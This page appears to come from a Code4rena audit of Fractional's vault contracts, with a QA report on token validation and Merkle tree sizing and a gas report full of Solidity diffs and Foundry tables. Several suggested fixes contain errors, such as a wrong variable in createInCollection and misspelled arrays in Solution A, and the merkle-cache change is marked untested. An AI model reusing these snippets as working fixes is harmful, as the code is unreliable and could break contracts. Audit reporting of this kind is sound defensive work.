🌟 Selected for report: xiaoming90
Also found by: 0x1f8b, 0x29A, 0x52, 0xA5DF, 0xDjango, 0xNazgul, 0xNineDec, 0xf15ers, 0xsanson, 0xsolstars, 242, 8olidity, Amithuddar, Aymen0909, Bnke0x0, BowTiedWardens, David_, Deivitto, ElKu, Funen, Hawkeye, IllIllI, JC, Kaiziron, Keen_Sheen, Kthere, Kulk0, Kumpa, Lambda, MEP, ReyAdmirado, Rohan16, Ruhum, Sm4rty, TomJ, Tomio, Treasure-Seeker, TrungOre, Tutturu, Viksaa39, Waze, _Adam, __141345__, ak1, apostle0x01, asutorufos, async, ayeslick, aysha, bbrho, benbaessler, berndartmueller, c3phas, cccz, chatch, cloudjunky, codexploder, cryptphi, delfin454000, dipp, durianSausage, dy, exd0tpy, fatherOfBlocks, hake, hansfriese, horsefacts, hubble, joestakey, jonatascm, kebabsec, kenzo, kyteg, mektigboy, neumo, oyc_109, pashov, pedr02b2, peritoflores, rajatbeladiya, rbserver, robee, rokinot, s3cunda, sach1r0, sahar, sashik_eth, scaraven, shenwilly, simon135, sorrynotsorry, sseefried, svskaushik, unforgiven, z3s, zzzitron
62.6864 USDC - $62.69
VaultRegistry.createInCollection
Disclosure - I've mentioned this in another bug, however I do believe this is a bug on its own so I'm filing this here too.
I haven't found a place where this can be exploited (besides exploiting the vault it was created for, and the other bug mentioned), but I think it'd be better to prevent creating a vault with a malicious token.
Make the controller pass the vault instead of the token, this way we can make sure the token belongs to an actual vault and not a malicious token (this will cost some extra gas, but it may be worth it)
/// @return vault Address of Proxy contract function createInCollection( bytes32 _merkleRoot, - address _token, + address _vault, address[] memory _plugins, bytes4[] memory _selectors ) external returns (address vault) { + address _token = vaultToToken[vault].token; address controller = FERC1155(_token).controller(); if (controller != msg.sender) revert InvalidController(controller, msg.sender);
BaseVault.generateMerkleTree()
wrongly assumes the leavs will always be 6hashes = new bytes32[](6);
The function assumes that hashes length will be 6, this is true for the case used in testing (where only BaseVault and Buyout modules are used), however in case that a user would like to add another module (that has at least one leaf) - the creation of the vault will fail with index out of bond error.
Solution A: Create the leaves array only after getting all the nodes, this will probably cost some extra gas:
uint256 counter; hashes = new bytes32[](6); + bytes32[] memory leavesArr = new bytes32[][](_modules.length); + uint256 total; unchecked { for (uint256 i; i < _modules.length; ++i) { bytes32[] memory leaves = IModule(_modules[i]).getLeafNodes(); + leavsArr[i] = leavs; + total += leaves.length; + } + for (uint256 i; i < _modules.length; ++i) { for (uint256 j; j < leaves.length; ++j) { hashes[counter++] = leaves[j]; }
Solution B: calculate the lenght off-chain (and just verify the length). This would probably save some gas compared to solution A.
- function generateMerkleTree(address[] calldata _modules) + function generateMerkleTree(address[] calldata _modules, uint256 leavsLength ) public view returns (bytes32[] memory hashes) { - uint256 counter; - hashes = new bytes32[](6); + hashes = new bytes32[](leavsLength); unchecked { for (uint256 i; i < _modules.length; ++i) { bytes32[] memory leaves = IModule(_modules[i]).getLeafNodes(); @@ -134,5 +134,6 @@ contract BaseVault is IBaseVault, MerkleBase, Minter, Multicall { } } } + require(leavsLength == counter); } }
#0 - 0xA5DF
2022-08-19T20:47:46Z
2nd bug here is duplicate of #447 which ended up as a medium bug @HardlyDifficult (disclosure: this is my submission)
#1 - 0xA5DF
2022-08-19T21:02:42Z
PS: also QA reports #540 and #304 contain this bug
🌟 Selected for report: joestakey
Also found by: 0x1f8b, 0x29A, 0xA5DF, 0xKitsune, 0xNazgul, 0xNineDec, 0xalpharush, 0xkatana, 0xsanson, 0xsolstars, 8olidity, Avci, Bnke0x0, BowTiedWardens, Chom, Deivitto, ElKu, Fitraldys, Funen, IllIllI, JC, Kaiziron, Lambda, Limbooo, MEP, NoamYakov, PwnedNoMore, RedOneN, ReyAdmirado, Rohan16, Ruhum, Saintcode_, Sm4rty, TomJ, Tomio, TrungOre, Tutturu, Waze, _Adam, __141345__, ajtra, apostle0x01, asutorufos, benbaessler, brgltd, c3phas, codexploder, cryptphi, delfin454000, dharma09, djxploit, durianSausage, fatherOfBlocks, giovannidisiena, gogo, horsefacts, hrishibhat, hyh, ignacio, jocxyen, jonatascm, karanctf, kebabsec, kyteg, m_Rassska, mektigboy, oyc_109, pedr02b2, rbserver, robee, rokinot, sach1r0, sashik_eth, simon135, slywaters
74.0209 USDC - $74.02
initFor
function to Vault to save gas in VaultFactory
delete
instead of setting to zero<sup>^ back to top ^</sup>
Instead of calling IVaultRegistry(registry).totalSupply(_vault)
, which would load again token
and id
from storage, we could use the token
and id
we've already loaded.
+import {IFERC1155} from "../interfaces/IFERC1155.sol"; + /// @title Buyout /// @author Fractional Art /// @notice Module contract for vaults to hold buyout pools @@ -68,7 +70,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { if (current != required) revert InvalidState(required, current); // Gets total supply of fractional tokens for the vault - uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); + uint256 totalSupply = IFERC1155(token).totalSupply(id); // Gets total balance of fractional tokens owned by caller uint256 depositAmount = IERC1155(token).balanceOf(msg.sender, id); @@ -118,6 +120,8 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { (uint256 startTime, , State current, uint256 fractionPrice, , ) = this .buyoutInfo(_vault); // Reverts if auction state is not live + // @audit make state constant to save gas + // this is not going to save much because the var is stored in memory State required = State.LIVE; if (current != required) revert InvalidState(required, current); // Reverts if current time is greater than end time of proposal period @@ -205,9 +209,10 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { uint256 tokenBalance = IERC1155(token).balanceOf(address(this), id); // Checks totalSupply of auction pool to determine if buyout is successful or not + // @audit would be cheaper to do this than have vault registery load it again from storage if ( (tokenBalance * 1000) / - IVaultRegistry(registry).totalSupply(_vault) > + IFERC1155(token).totalSupply(id) > 500 ) { // Initializes vault transaction @@ -264,7 +269,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { IVault(payable(_vault)).execute(supply, data, _burnProof); // Transfers buyout share amount to caller based on total supply - uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); + uint256 totalSupply = IFERC1155(token).totalSupply(id); uint256 buyoutShare = (tokenBalance * ethBalance) / (totalSupply + tokenBalance); _sendEthOrWeth(msg.sender, buyoutShare); @@ -277,7 +282,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { /// @param _burnProof Merkle proof for burning fractional tokens function redeem(address _vault, bytes32[] calldata _burnProof) external { // Reverts if address is not a registered vault - (, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault); + (address token, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault); if (id == 0) revert NotVault(_vault); // Reverts if auction state is not inactive (, , State current, , , ) = this.buyoutInfo(_vault); @@ -285,7 +290,7 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { if (current != required) revert InvalidState(required, current); // Initializes vault transaction - uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault); + uint256 totalSupply = IFERC1155(token).totalSupply(id); bytes memory data = abi.encodeCall( ISupply.burn, (msg.sender, totalSupply) diff --git a/src/modules/Migration.sol b/src/modules/Migration.sol index d81d0ef..7d4301f 100644 --- a/src/modules/Migration.sol +++ b/src/modules/Migration.sol @@ -78,7 +78,7 @@ contract Migration is uint256 _targetPrice ) external { // Reverts if address is not a registered vault - (, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault); + (address token, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault); if (id == 0) revert NotVault(_vault); // Reverts if buyout state is not inactive (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault); @@ -92,9 +92,7 @@ contract Migration is proposal.modules = _modules; proposal.plugins = _plugins; proposal.selectors = _selectors; - proposal.oldFractionSupply = IVaultRegistry(registry).totalSupply( - _vault - ); + proposal.oldFractionSupply = IFERC1155(token).totalSupply(id); proposal.newFractionSupply = _newFractionSupply; } @@ -197,7 +195,7 @@ contract Migration is // Calculates current price of the proposal based on total supply uint256 currentPrice = _calculateTotal( 100, - IVaultRegistry(registry).totalSupply(_vault), + IFERC1155(token).totalSupply(id), proposal.totalEth, proposal.totalFractions ); @@ -467,7 +465,7 @@ contract Migration is (address token, uint256 newFractionId) = IVaultRegistry(registry) .vaultToToken(newVault); // Calculates share amount of fractions for the new vault based on the new total supply - uint256 newTotalSupply = IVaultRegistry(registry).totalSupply(newVault); + uint256 newTotalSupply = IFERC1155(token).totalSupply(newFractionId); uint256 shareAmount = (balanceContributedInEth * newTotalSupply) / totalInEth;
<sup>^ back to top ^</sup>
This would save loading the variable from storage each time.
diff --git a/src/VaultFactory.sol b/src/VaultFactory.sol index 0902ebb..b08e56e 100644 --- a/src/VaultFactory.sol +++ b/src/VaultFactory.sol @@ -12,7 +12,8 @@ contract VaultFactory is IVaultFactory { /// @dev Use clones library for address types using Create2ClonesWithImmutableArgs for address; /// @notice Address of Vault proxy contract - address public implementation; + // @audit can be set to immutable since it doesn't change + address immutable public implementation; /// @dev Internal mapping to track the next seed to be used by an EOA mapping(address => bytes32) internal nextSeeds; diff --git a/src/modules/Migration.sol b/src/modules/Migration.sol index d81d0ef..810fa1d 100644 --- a/src/modules/Migration.sol +++ b/src/modules/Migration.sol @@ -34,9 +34,9 @@ contract Migration is ReentrancyGuard { /// @notice Address of Buyout module contract - address payable public buyout; + address payable immutable public buyout; /// @notice Address of VaultRegistry contract - address public registry; + address immutable public registry; /// @notice Counter used to assign IDs to new proposals uint256 public nextId; /// @notice The length for the migration proposal period diff --git a/src/modules/protoforms/BaseVault.sol b/src/modules/protoforms/BaseVault.sol index e02abf0..a8e4476 100644 --- a/src/modules/protoforms/BaseVault.sol +++ b/src/modules/protoforms/BaseVault.sol @@ -16,7 +16,7 @@ import {Multicall} from "../../utils/Multicall.sol"; /// @notice Protoform contract for vault deployments with a fixed supply and buyout mechanism contract BaseVault is IBaseVault, MerkleBase, Minter, Multicall { /// @notice Address of VaultRegistry contract - address public registry; + address immutable public registry; /// @notice Initializes registry and supply contracts /// @param _registry Address of the VaultRegistry contract
initFor
function to Vault to save gas in VaultFactory
<sup>^ back to top ^</sup>
Instead of doing an init and then transferring ownership (transferOwner takes an extra sstore
op), just add to Vault
functionality that let's init for another address and use it in VaultFactory
.
diff --git a/src/Vault.sol b/src/Vault.sol index 60c9bff..23e1c66 100644 --- a/src/Vault.sol +++ b/src/Vault.sol @@ -22,10 +22,14 @@ contract Vault is IVault, NFTReceiver { /// @dev Initializes nonce and proxy owner function init() external { + initFor(msg.sender); + } + + function initFor(address _owner) public { if (nonce != 0) revert Initialized(owner, msg.sender, nonce); nonce = 1; - owner = msg.sender; - emit TransferOwnership(address(0), msg.sender); + owner = _owner; + emit TransferOwnership(address(0), _owner); } /// @dev Callback for receiving Ether when the calldata is empty diff --git a/src/VaultFactory.sol b/src/VaultFactory.sol index 0902ebb..169113f 100644 --- a/src/VaultFactory.sol +++ b/src/VaultFactory.sol @@ -67,10 +67,10 @@ contract VaultFactory is IVaultFactory { bytes memory data = abi.encodePacked(); vault = implementation.clone(salt, data); - Vault(vault).init(); + Vault(vault).initFor(_owner); // Transfer the ownership from this factory contract to the specified owner. - Vault(vault).transferOwnership(_owner); + // Vault(vault).transferOwnership(_owner); // Increment the seed. unchecked {
delete
instead of setting to zero<sup>^ back to top ^</sup>
This doesn't seem to save gas at runtime, but does save a bit of deployment size
diff --git a/src/Vault.sol b/src/Vault.sol index 60c9bff..0059d94 100644 --- a/src/Vault.sol +++ b/src/Vault.sol @@ -102,7 +102,7 @@ contract Vault is IVault, NFTReceiver { if (owner != msg.sender) revert NotOwner(owner, msg.sender); uint256 length = _selectors.length; for (uint256 i = 0; i < length; i++) { - methods[_selectors[i]] = address(0); + delete methods[_selectors[i]]; } emit UninstallPlugin(_selectors); }
Deployment size and cost diff:
╭────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮ │ src/VaultFactory.sol:VaultFactory contract ┆ ┆ ┆ ┆ ┆ │ ╞════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 1121723 ┆ 5483 ┆ ┆ ┆ ┆ │ +│ 1118110 ┆ 5465 ┆ ┆ ┆ ┆ │ ------------------------------------------------ ╭────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮ │ src/VaultFactory.sol:VaultFactory contract ┆ ┆ ┆ ┆ ┆ │ ╞════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 1121723 ┆ 5483 ┆ ┆ ┆ ┆ │ +│ 1118110 ┆ 5465 ┆ ┆ ┆ ┆ │ --------------------------- ╭──────────────────────────────────────────────┬─────────────────┬────────┬────────┬────────┬─────────╮ │ src/VaultRegistry.sol:VaultRegistry contract ┆ ┆ ┆ ┆ ┆ │ ╞══════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 3898606 ┆ 19409 ┆ ┆ ┆ ┆ │ +│ 3894990 ┆ 19391 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name
<sup>^ back to top ^</sup>
Buyout.start
depositAmount
might be zero (in case that the proposer doesn't hold any fractions)Buyout.end
tokenBalance
might be zero (if all fractions were bought)
Since IERC1155.safeTransferFrom
costs about 21K gas units on avg (according to the gas report), it's worth checking before that the amount isn't zero.diff --git a/src/modules/Buyout.sol b/src/modules/Buyout.sol index 1557233..5420710 100644 --- a/src/modules/Buyout.sol +++ b/src/modules/Buyout.sol @@ -72,14 +72,16 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { // Gets total balance of fractional tokens owned by caller uint256 depositAmount = IERC1155(token).balanceOf(msg.sender, id); - // Transfers fractional tokens into the buyout pool - IERC1155(token).safeTransferFrom( - msg.sender, - address(this), - id, - depositAmount, - "" - ); + if(depositAmount != 0){ + // Transfers fractional tokens into the buyout pool + IERC1155(token).safeTransferFrom( + msg.sender, + address(this), + id, + depositAmount, + "" + ); + } // Calculates price of buyout and fractions // @dev Reverts with division error if called with total supply of tokens @@ -225,14 +227,18 @@ contract Buyout is IBuyout, Multicall, NFTReceiver, SafeSend, SelfPermit { // Deletes auction info delete buyoutInfo[_vault]; // Transfers fractions and ether back to proposer of the buyout pool - IERC1155(token).safeTransferFrom( - address(this), - proposer, - id, - tokenBalance, - "" - ); - _sendEthOrWeth(proposer, ethBalance); + if(tokenBalance != 0){ + IERC1155(token).safeTransferFrom( + address(this), + proposer, + id, + tokenBalance, + "" + ); + } + if(ethBalance != 0){ + _sendEthOrWeth(proposer, ethBalance); + } // Emits event for ending unsuccessful auction emit End(_vault, State.INACTIVE, proposer); }
<sup>^ back to top ^</sup>
This one might need further checking and consideration, but caching merkle proof might be cheaper in the long run. Here's the math:
leafs > 4
, current situation in testing), 3.6K for 4 layers (leafs > 8
) and 4.5K for 5 layers (leafs > 16
)Here's the suggested code change:
diff --git a/src/Vault.sol b/src/Vault.sol index 60c9bff..86aa720 100644 --- a/src/Vault.sol +++ b/src/Vault.sol @@ -17,6 +17,12 @@ contract Vault is IVault, NFTReceiver { uint256 public nonce; /// @dev Minimum reserve of gas units uint256 private constant MIN_GAS_RESERVE = 5_000; + + error CacheFailed(address source, bytes32 leaf, bytes32 cachedRoot); + event Cache(address source, bytes32 leaf, bytes32 cachedRoot); + + + mapping(bytes32 => bytes32) public merkleCache; /// @notice Mapping of function selector to plugin address mapping(bytes4 => address) public methods; @@ -49,7 +55,8 @@ contract Vault is IVault, NFTReceiver { function execute( address _target, bytes calldata _data, - bytes32[] calldata _proof + bytes32[] calldata _proof, + bool checkCache ) external payable returns (bool success, bytes memory response) { bytes4 selector; assembly { @@ -59,14 +66,44 @@ contract Vault is IVault, NFTReceiver { // Generate leaf node by hashing module, target and function selector. bytes32 leaf = keccak256(abi.encode(msg.sender, _target, selector)); // Check that the caller is either a module with permission to call or the owner. - if (!MerkleProof.verify(_proof, merkleRoot, leaf)) { - if (msg.sender != owner) - revert NotAuthorized(msg.sender, _target, selector); + if(checkCache){ + bytes32 cached = merkleCache[leaf]; + if(cached != merkleRoot) + revert CacheFailed(address(this), leaf, cached); + + }else{ + if (!MerkleProof.verify(_proof, merkleRoot, leaf)) { + if (msg.sender != owner) + revert NotAuthorized(msg.sender, _target, selector); + } } (success, response) = _execute(_target, _data); } + function cacheMerkleProof( + address user, + address _target, + bytes calldata _data, + bytes32[] calldata _proof + ) public{ + bytes4 selector; + assembly { + selector := calldataload(_data.offset) + } + + // Generate leaf node by hashing module, target and function selector. + bytes32 leaf = keccak256(abi.encode(user, _target, selector)); + // Check that the caller is either a module with permission to call or the owner. + if (!MerkleProof.verify(_proof, merkleRoot, leaf)) { + if (user != owner) + revert NotAuthorized(user, _target, selector); + } + + merkleCache[leaf] = merkleRoot; + emit Cache(address(this), leaf, merkleRoot); + } +
Here's the gas diff when I cached the leafs of the Buyout module
Buyout.sol
went down by 500-700 units per call, as expectedDisclaimer: Foundry might be considered each test as one tx, making the cache warm after the 1st call (therefore charging less gas than real world scenario). Further testing is needed (and there's no much time left for that till the end of the contest)
╭────────────────────────────────────┬─────────────────┬───────┬────────┬───────┬─────────╮ │ src/FERC1155.sol:FERC1155 contract ┆ ┆ ┆ ┆ ┆ │ ╞════════════════════════════════════╪═════════════════╪═══════╪════════╪═══════╪═════════╡ @@ -244,31 +244,33 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ╞══════════════════════════════╪═════════════════╪═══════╪════════╪═══════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 816851 ┆ 4112 ┆ ┆ ┆ ┆ │ +│ 942381 ┆ 4739 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ +│ cacheMerkleProof ┆ 26174 ┆ 26365 ┆ 26479 ┆ 26499 ┆ 445 │ +├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ execute ┆ 3585 ┆ 40695 ┆ 61452 ┆ 66336 ┆ 182 │ +│ execute ┆ 3656 ┆ 40470 ┆ 61525 ┆ 66395 ┆ 182 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ fallback ┆ 55 ┆ 55 ┆ 55 ┆ 55 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ init ┆ 638 ┆ 45712 ┆ 45982 ┆ 45982 ┆ 183 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ install ┆ 3437 ┆ 37491 ┆ 3437 ┆ 73979 ┆ 174 │ +│ install ┆ 3415 ┆ 37469 ┆ 3415 ┆ 73957 ┆ 174 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ merkleRoot ┆ 340 ┆ 340 ┆ 340 ┆ 340 ┆ 1 │ +│ merkleRoot ┆ 318 ┆ 318 ┆ 318 ┆ 318 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ nonce ┆ 362 ┆ 1028 ┆ 362 ┆ 2362 ┆ 3 │ +│ nonce ┆ 340 ┆ 1006 ┆ 340 ┆ 2340 ┆ 3 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ onERC1155BatchReceived ┆ 1246 ┆ 1246 ┆ 1246 ┆ 1246 ┆ 2 │ +│ onERC1155BatchReceived ┆ 1291 ┆ 1291 ┆ 1291 ┆ 1291 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ onERC1155Received ┆ 839 ┆ 839 ┆ 839 ┆ 839 ┆ 36 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ onERC721Received ┆ 749 ┆ 749 ┆ 749 ┆ 749 ┆ 121 │ +│ onERC721Received ┆ 772 ┆ 772 ┆ 772 ┆ 772 ┆ 121 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ owner ┆ 382 ┆ 604 ┆ 382 ┆ 2382 ┆ 9 │ +│ owner ┆ 360 ┆ 582 ┆ 360 ┆ 2360 ┆ 9 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ setMerkleRoot ┆ 596 ┆ 22359 ┆ 22487 ┆ 22487 ┆ 172 │ +│ setMerkleRoot ┆ 662 ┆ 22425 ┆ 22553 ┆ 22553 ┆ 172 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ transferOwnership ┆ 742 ┆ 2310 ┆ 2318 ┆ 2318 ┆ 208 │ ╰──────────────────────────────┴─────────────────┴───────┴────────┴───────┴─────────╯ @@ -277,7 +279,7 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ╞════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 1121723 ┆ 5483 ┆ ┆ ┆ ┆ │ +│ 1247384 ┆ 6110 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -292,21 +294,21 @@ Test result: [32mok[0m. 17 passed; 0 failed; finished in 1.66s ╞══════════════════════════════════════════════╪═════════════════╪════════╪════════╪════════╪═════════╡ │ Deployment Cost ┆ Deployment Size ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ 3898606 ┆ 19409 ┆ ┆ ┆ ┆ │ +│ 4024324 ┆ 20036 ┆ ┆ ┆ ┆ │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ Function Name ┆ min ┆ avg ┆ median ┆ max ┆ # calls │ 